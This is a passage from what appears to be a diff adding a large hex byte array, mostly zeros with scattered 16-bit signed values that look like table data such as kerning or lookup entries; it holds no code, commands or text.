0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xEA, 0x00, 0x00, 0xFF, 0xF6, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xAE, 0x00, 0x00, + 0xFF, 0xDF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD7, + 0xFF, 0xA8, 0xFF, 0xE0, 0xFF, 0xFD, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEF, 0xFF, 0xDB, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, + 0xFF, 0xF7, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFB, + 0xFF, 0xED, 0x00, 0x00, 0xFF, 0xF5, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xA8, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFC, 0x00, 0x00, + 0xFF, 0xD0, 0xFF, 0xF4, 0xFF, 0xB8, 0xFF, 0xE5, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF5, 0xFF, 0xEF, 0x00, 0x00, + 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xBB, + 0xFF, 0xEE, 0xFF, 0xF6, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xEC, 0xFF, 0xAF, 0xFF, 0xBA, 0x00, 0x04, + 0xFF, 0xFB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, + 0xFF, 0xEB, 0x00, 0x00, 0xFF, 0xBA, 0xFF, 0xE3, + 0xFF, 0x97, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xAB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0xFF, 0xFB, 0xFF, 0xB0, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xF5, 0xFF, 0xEA, 0x00, 0x00, 0xFF, 0x67, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xB8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFB, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFA, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFA, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEC, + 0x00, 0x00, 0xFF, 0xE4, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xE0, 0xFF, 0xE9, 0xFF, 0xEC, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xEB, 0x00, 0x00, 0xFF, 0xD6, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xEB, 0xFF, 0xEE, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFC, 0xFF, 0xF7, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x00, + 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE6, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFD, + 0x00, 0x07, 0xFF, 0xF9, 0x00, 0x00, 0x00, 0x09, + 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF6, 0xFF, 0xF3, 0xFF, 0xF5, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF3, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFD, + 0xFF, 0xF2, 0xFF, 0xEA, 0x00, 0x00, 0xFF, 0xED, + 0xFF, 0xE3, 0x00, 0x00, 0xFF, 0xEE, 0xFF, 0xEA, + 0xFF, 0xE8, 0x00, 0x00, 0xFF, 0xF9, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF1, 0x00, 0x00, 0xFF, 0xE6, + 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0xEF, 0xFF, 0xF9, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF0, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE5, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xF0, 0xFF, 0xF3, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDD, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF1, 0xFF, 0xE0, + 0xFF, 0xD9, 0xFF, 0xF6, 0xFF, 0xD8, 0xFF, 0xCF, + 0xFF, 0xED, 0xFF, 0xDE, 0xFF, 0xD3, 0xFF, 0xD0, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDB, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xEA, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xE4, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF5, + 0xFF, 0xF7, 0x00, 0x00, 0xFF, 0xFC, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xFF, 0xFD, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFC, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF6, + 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xF8, + 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE9, 0xFF, 0xE7, + 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 